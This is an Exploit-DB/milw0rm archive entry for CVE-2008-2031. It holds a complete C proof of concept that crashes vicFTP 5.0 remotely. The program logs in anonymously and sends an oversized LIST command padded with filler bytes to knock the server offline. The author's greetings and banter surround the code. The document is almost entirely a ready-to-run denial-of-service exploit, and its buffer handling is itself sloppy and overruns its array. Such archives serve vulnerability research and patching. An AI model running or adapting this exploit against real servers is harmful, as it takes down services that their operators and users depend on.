vicFTP 5.0 (LIST) Remote Denial of Service Exploit



EDB-ID: 6834 CVE: 2008-2031 OSVDB-ID: 44608
Author: Alfons Luja Published: 2008-10-24 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#include <cstdio>
#include <winsock2.h>
#include <memory.h>
#define __z00ro(a) memset(a,0,sizeof(a));

//greetings : SiD.psycho 
//Smallest greetings : Gorion  - lofamy cIem We want be like y0U :***

unsigned int setport(const char* port){
       if((atoi(port)==0) || (atoi(port)<0)){
       return 21;
       }
       return atoi(port);                               
}         

int main(int argc,char **argv){

printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"
       "+=========== vicFTPS v 5.0 REMOTE dos POC ;[      ===========+\n"
       "+=========== Alfons Luja sp Z.0.0                 ===========+\n"
       "+=========== I want clear b00f not a d0s !!!      ===========+\n"
       "+=========== Propably 0 dAy                       ===========+\n"
       "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
if(argc<3){
   printf("\nuse poc.exe IP PORT\n");
   return 0;
}
int socks;
hostent *host;
WSADATA WSA;
SOCKADDR_IN aip;
char recvs[666]={0}; //ave
char test[66]={0};  // 4 nothing
const char *login = "USER Anonymous\r\n";    
const char *pass = "PASS echo@gov.tr\r\n";
strcpy(test,"LIST /\\/iWana_be_like_Gorion\\");
memset(test+strlen("LIST /\\/iWana_be_like_Gorion\\"),0x42,sizeof(test));
test[sizeof(test)-2]='\r';
test[sizeof(test)-1]='\n';
test[sizeof(test)]='\0';
printf("\nTarget:%s\nPort:%u\n",argv[1],setport(argv[2]));
if((WSAStartup(MAKEWORD(4, 2), &WSA))==0){
    if((socks = socket(AF_INET,SOCK_STREAM,0)) != -1){
         aip.sin_family = AF_INET;
         aip.sin_addr.s_addr = inet_addr(argv[1]);
         aip.sin_port = htons(setport(argv[2]));
         memset(&(aip.sin_zero),'0',8);
     if(connect(socks,(struct sockaddr*)&aip,sizeof(struct sockaddr)) == 0){
         recv(socks,recvs,sizeof(recvs)-1,0);
         __z00ro(recvs);
         send(socks,login,strlen(login),0);
         recv(socks,recvs,sizeof(recvs)-1,0);
         __z00ro(recvs);
         send(socks,pass,strlen(pass),0);
         recv(socks,recvs,sizeof(recvs)-1,0);     
         printf("%s",recvs);
          if(!strncmp(recvs,"230 fake user logged in.",3)){
             printf("Send greeting!!\n");  
             __z00ro(recvs);
             send(socks,test,sizeof(test),0);  
             recv(socks,recvs,sizeof(recvs)-1,0);   
             Sleep(200); 
             printf("Server is charmed and died happy!!\n");     
          }
          else{
             printf("Target dont love us . You must have account :[\r\n");
             closesocket(socks);       
             WSACleanup();
             return 0;     
          }                       
         }
       else {
       printf("(__eRROR):[Connection  error](!!!!)\n"
              "It can be bad port number or IP addresss!\n");
       closesocket(socks);       
       WSACleanup();
       return 0;    
       }       
      }
      WSACleanup();
     }   
return 0;       
}


//~~@KND http://pl.youtube.com/watch?v=KvFAx3ArmlE ~@~

// milw0rm.com [2008-10-24]